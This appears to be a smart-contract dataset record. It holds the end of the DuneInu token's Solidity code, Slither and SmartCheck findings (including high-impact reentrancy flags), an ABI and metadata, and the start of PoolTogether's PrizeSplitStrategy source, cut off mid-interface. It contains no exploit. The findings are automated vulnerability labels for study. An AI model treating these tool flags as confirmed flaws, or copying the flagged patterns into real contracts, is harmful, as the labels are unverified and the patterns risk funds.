tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
[]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"DuneInu.sol": [77]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DuneInu.sol": [192, 193, 194, 195]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DuneInu.sol": [184, 185, 186]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DuneInu.sol": [96, 97, 98, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DuneInu.sol": [294, 295, 296, 297, 298]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DuneInu.sol": [176, 177, 178]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DuneInu.sol": [197, 198, 199]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DuneInu.sol": [206, 207, 208, 209, 210]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DuneInu.sol": [180, 181, 182]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DuneInu.sol": [300, 301, 302]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DuneInu.sol": [201, 202, 203, 204]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DuneInu.sol": [172, 173, 174]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"DuneInu.sol": [88, 86, 87]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"DuneInu.sol": [88, 86, 87]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DuneInu.sol": [135]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DuneInu.sol": [144]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DuneInu.sol": [115]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DuneInu.sol": [146]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DuneInu.sol": [145]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"DuneInu.sol": [325]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"DuneInu.sol": [287]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"DuneInu.sol": [225]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"DuneInu.sol": [324]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"DuneInu.sol": [290]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"DuneInu.sol": [208]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"DuneInu.sol": [259]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"DuneInu.sol": [259]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"DuneInu.sol": [208]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DuneInu.sol": [142]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DuneInu.sol": [344]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DuneInu.sol": [344]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DuneInu.sol": [353]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DuneInu.sol": [309]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DuneInu.sol": [309]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DuneInu.sol": [309]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DuneInu.sol": [353]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DuneInu.sol": [353]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DuneInu.sol": [344]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DuneInu.sol": [240]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"DuneInu.sol": [289]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"DuneInu.sol": [135]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"DuneInu.sol": [291]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"DuneInu.sol": [286]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"DuneInu.sol": [126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"DuneInu.sol": [126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 162, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 163, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 169, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 282, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 97, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 201, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 295, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 295, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 294, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 18, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 76, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 77, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 128, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 129, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 130, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 131, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 132, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 133, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 134, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 135, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 136, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 137, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 139, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 140, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 141, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 142, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 144, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 145, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 146, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 148, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 149, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 150, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 151, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 152, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 153, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 154, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 127, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 123, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 80, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 107, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 161, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 110, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 111, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 112, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 328, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
v0.8.4+commit.c7e474f2
true
200
Default
Unlicense
false
ipfs://88fe2318e6fd647ee8fb4684df1a337654d281fc9aa85a444d7d0dd22d19e976
PrizeSplitStrategy
0x47a5abfacdebf5af312b034b3b748935a0259136
Solidity
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/math/SafeCast.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } // File: @pooltogether/owner-manager-contracts/contracts/Ownable.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; /** * @title Abstract ownable contract that can be inherited by other contracts * @notice Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner is the deployer of the contract. * * The owner account is set through a two steps process. * 1. The current `owner` calls {transferOwnership} to set a `pendingOwner` * 2. The `pendingOwner` calls {acceptOwnership} to accept the ownership transfer * * The manager account needs to be set using {setManager}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable { address private _owner; address private _pendingOwner; /** * @dev Emitted when `_pendingOwner` has been changed. * @param pendingOwner new `_pendingOwner` address. */ event OwnershipOffered(address indexed pendingOwner); /** * @dev Emitted when `_owner` has been changed. * @param previousOwner previous `_owner` address. * @param newOwner new `_owner` address. */ event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* ============ Deploy ============ */ /** * @notice Initializes the contract setting `_initialOwner` as the initial owner. * @param _initialOwner Initial owner of the contract. */ constructor(address _initialOwner) { _setOwner(_initialOwner); } /* ============ External Functions ============ */ /** * @notice Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @notice Gets current `_pendingOwner`. * @return Current `_pendingOwner` address. */ function pendingOwner() external view virtual returns (address) { return _pendingOwner; } /** * @notice Renounce ownership of the contract. * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() external virtual onlyOwner { _setOwner(address(0)); } /** * @notice Allows current owner to set the `_pendingOwner` address. * @param _newOwner Address to transfer ownership to. */ function transferOwnership(address _newOwner) external onlyOwner { require(_newOwner != address(0), "Ownable/pendingOwner-not-zero-address"); _pendingOwner = _newOwner; emit OwnershipOffered(_newOwner); } /** * @notice Allows the `_pendingOwner` address to finalize the transfer. * @dev This function is only callable by the `_pendingOwner`. */ function claimOwnership() external onlyPendingOwner { _setOwner(_pendingOwner); _pendingOwner = address(0); } /* ============ Internal Functions ============ */ /** * @notice Internal function to set the `_owner` of the contract. * @param _newOwner New `_owner` address. */ function _setOwner(address _newOwner) private { address _oldOwner = _owner; _owner = _newOwner; emit OwnershipTransferred(_oldOwner, _newOwner); } /* ============ Modifier Functions ============ */ /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == msg.sender, "Ownable/caller-not-owner"); _; } /** * @dev Throws if called by any account other than the `pendingOwner`. */ modifier onlyPendingOwner() { require(msg.sender == _pendingOwner, "Ownable/caller-not-pendingOwner"); _; } } // File: @pooltogether/v4-core/contracts/external/compound/ICompLike.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface ICompLike is IERC20 { function getCurrentVotes(address account) external view returns (uint96); function delegate(address delegate) external; } // File: @pooltogether/v4-core/contracts/interfaces/IControlledToken.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** @title IControlledToken * @author PoolTogether Inc Team * @notice ERC20 Tokens with a controller for minting & burning. */ interface IControlledToken is IERC20 { /** @notice Interface to the contract responsible for controlling mint/burn */ function controller() external view returns (address); /** * @notice Allows the controller to mint tokens for a user account * @dev May be overridden to provide more granular control over minting * @param user Address of the receiver of the minted tokens * @param amount Amount of tokens to mint */ function controllerMint(address user, uint256 amount) external; /** * @notice Allows the controller to burn tokens from a user account * @dev May be overridden to provide more granular control over burning * @param user Address of the holder account to burn tokens from * @param amount Amount of tokens to burn */ function controllerBurn(address user, uint256 amount) external; /** * @notice Allows an operator via the controller to burn tokens on behalf of a user account * @dev May be overridden to provide more granular control over operator-burning * @param operator Address of the operator performing the burn action via the controller contract * @param user Address of the holder account to burn tokens from * @param amount Amount of tokens to burn */ function controllerBurnFrom( address operator, address user, uint256 amount ) external; } // File: @pooltogether/v4-core/contracts/interfaces/IPrizePool.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.6; import "../external/compound/ICompLike.sol"; import "../interfaces/ITicket.sol"; interface IPrizePool { /// @dev Event emitted when controlled token is added event ControlledTokenAdded(ITicket indexed token); event AwardCaptured(uint256 amount); /// @dev Event emitted when assets are deposited event Deposited( address indexed operator, address indexed to, ITicket indexed token, uint256 amount ); /// @dev Event emitted when interest is awarded to a winner event Awarded(address indexed winner, ITicket indexed token, uint256 amount); /// @dev Event emitted when external ERC20s are awarded to a winner event AwardedExternalERC20(address indexed winner, address indexed token, uint256 amount); /// @dev Event emitted when external ERC20s are transferred out event TransferredExternalERC20(address indexed to, address indexed token, uint256 amount); /// @dev Event emitted when external ERC721s are awarded to a winner event AwardedExternalERC721(address indexed winner, address indexed token, uint256[] tokenIds); /// @dev Event emitted when assets are withdrawn event Withdrawal( address indexed operator, address indexed from, ITicket indexed token, uint256 amount, uint256 redeemed ); /// @dev Event emitted when the Balance Cap is set event BalanceCapSet(uint256 balanceCap); /// @dev Event emitted when the Liquidity Cap is set event LiquidityCapSet(uint256 liquidityCap); /// @dev Event emitted when the Prize Strategy is set event PrizeStrategySet(address indexed prizeStrategy); /// @dev Event emitted when the Ticket is set event TicketSet(ITicket indexed ticket); /// @dev Emitted when there was an error thrown awarding an External ERC721 event ErrorAwardingExternalERC721(bytes error); /// @notice Deposit assets into the Prize Pool in exchange for tokens /// @param to The address receiving the newly minted tokens /// @param amount The amount of assets to deposit function depositTo(address to, uint256 amount) external; /// @notice Deposit assets into the Prize Pool in exchange for tokens, /// then sets the delegate on behalf of the caller. /// @param to The address receiving the newly minted tokens /// @param amount The amount of assets to deposit /// @param delegate The address to delegate to for the caller function depositToAndDelegate(address to, uint256 amount, address delegate) external; /// @notice Withdraw assets from the Prize Pool instantly. A fairness fee may be charged for an early exit. /// @param from The address to redeem tokens from. /// @param amount The amount of tokens to redeem for assets. /// @return The actual amount withdrawn function withdrawFrom(address from, uint256 amount) external returns (uint256); /// @notice Called by the prize strategy to award prizes. /// @dev The amount awarded must be less than the awardBalance() /// @param to The address of the winner that receives the award /// @param amount The amount of assets to be awarded function award(address to, uint256 amount) external; /// @notice Returns the balance that is available to award. /// @dev captureAwardBalance() should be called first /// @return The total amount of assets to be awarded for the current prize function awardBalance() external view returns (uint256); /// @notice Captures any available interest as award balance. /// @dev This function also captures the reserve fees. /// @return The total amount of assets to be awarded for the current prize function captureAwardBalance() external returns (uint256); 